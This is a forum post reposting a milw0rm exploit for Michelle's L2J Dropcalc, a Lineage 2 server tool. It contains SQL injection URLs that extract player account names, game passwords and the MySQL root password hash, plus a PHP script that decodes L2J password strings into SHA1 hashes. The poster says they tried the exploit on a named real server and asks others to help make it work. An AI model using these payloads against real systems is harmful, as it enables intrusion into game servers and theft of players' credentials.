#==============================================================================================
# Title: Michelle's L2J Dropcalc
# Version: <= v4
# Web Site: http://www.msknight.com/comps/lineage2/myl2jdropcalc.htm
#
# Discovered By: Codebreak (codebreak1984@gmail.com | www.codebreak.tk)
#
#==============================================================================================
# SQL Injection: (*** Must be logged in, using your own username and Token ***)
#
# http://[Target]/[Path]/i-search.php?itemid=&username=[user]&token=[Token]&langval=lang-eng.php&server_id=0&skin_id=0&itemid=[sql]
#
# Example:
#
# Obtain a player username:
# http://[Target]/[Path]/i-search.php?itemid=&username=[user]&token=[Token]&langval=lang-eng.php&server_id=0&skin_id=0&itemid=-1 UNION select null,account_name,null,null,null,null,null from characters where char_name = "[PLAYER]"
#
# Obtain a password for that username (*** encrypted):
# * only valid if loginserver and gameserver are in the same machine
# http://[Target]/[Path]/i-search.php?itemid=&username=[user]&token=[Token]&langval=lang-eng.php&server_id=0&skin_id=0&itemid=-1 UNION select null,password,null,null,null,null,null from accounts where login = "[uSERNAME]"
#
#
# Bonus:
#
# Obtain MYSQL Password (encrypted):
# *only valid if the script is executed with root accounts.
# http://[Target]/[Path]/i-search.php?itemid=&username=[user]&token=[Token]&langval=lang-eng.php&server_id=0&skin_id=0&itemid=-1 UNION select null,Password,null,null,null,null,null from mysql.user where User = "root" and host="localhost"
#
# *** L2J Encrypted Password can be decoded into a SHA1 hash. I've made a script to do that and it's included in this file
#
###############################################################################################
<--------- Beginning of PHP Script --------->
<style type="text/css">
<!--
.style3 {font-size: 24px}
.style1 {color: #CC0000}
-->
</style>
<?
echo("<title>L2J Pass Decoding - POC</title>");
$pass = $_POST['decode'];
$unpass3 = base64_decode($pass);
$array = unpack("H*", $unpass3);
foreach ($array as $key => $value)
$unpass2 = $array[1];
echo("<span class=style1><b><u>Decoding Password</u></b></span>");
echo("<br><b>Base 64:</b> $pass<br>");
echo("<b>Unpacked:</b> $unpass3<br>");
echo("<br><b>SHA1:</b> $unpass2<br>");
?>
<form name="form1" method="post" action="">
<div align="center">
<input type="text" name="decode">
<input type="submit" value="Decode">
</div>
</form>
<br><br><br><center><i>Created by Codebreak</center></i>
<------------- End of Script ------------->
# milw0rm.com [2007-01-31]
c/p from milworm, notice that i've not made it to work if someone make it work pls share the how-to
i've tried on www.cfl2.eu but i think i'm missing something.. dunno what btw!
the guide is in code tag, however i report i t here:
This exploit can be used by Web Browser only for server which supports and have Michelle's L2J Dropcalc running:
# SQL Injection: (*** Must be logged in, using your own username and Token ***)
#
# http://[Target]/[Path]/i-search.php?itemid=&username=[user]&token=[Token]&langval=lang-eng.php&server_id=0&skin_id=0&itemid=
#
# Example:
#
# Obtain a player username:
# http://[Target]/[Path]/i-search.php?itemid=&username=[user]&token=[Token]&langval=lang-eng.php&server_id=0&skin_id=0&itemid=-1 UNION select null,account_name,null,null,null,null,null from characters where char_name = "[PLAYER]"
#
# Obtain a password for that username (*** encrypted):
# * only valid if loginserver and gameserver are in the same machine
# http://[Target]/[Path]/i-search.php?itemid=&username=[user]&token=[Token]&langval=lang-eng.php&server_id=0&skin_id=0&itemid=-1 UNION select null,password,null,null,null,null,null from accounts where login = "[uSERNAME]"
#
#
# Bonus:
#
# Obtain MYSQL Password (encrypted):
# *only valid if the script is executed with root accounts.
# http://[Target]/[Path]/i-search.php?itemid=&username=[user]&token=[Token]&langval=lang-eng.php&server_id=0&skin_id=0&itemid=-1 UNION select null,Password,null,null,null,null,null from mysql.user where User = "root" and host="localhost"[/b]
as you can see is pretty easy to do, just I don't get it to work, hope someone can help
asap i've decreased post to 500 :P
EDIT: decreased again, pls someone try this..
caesar
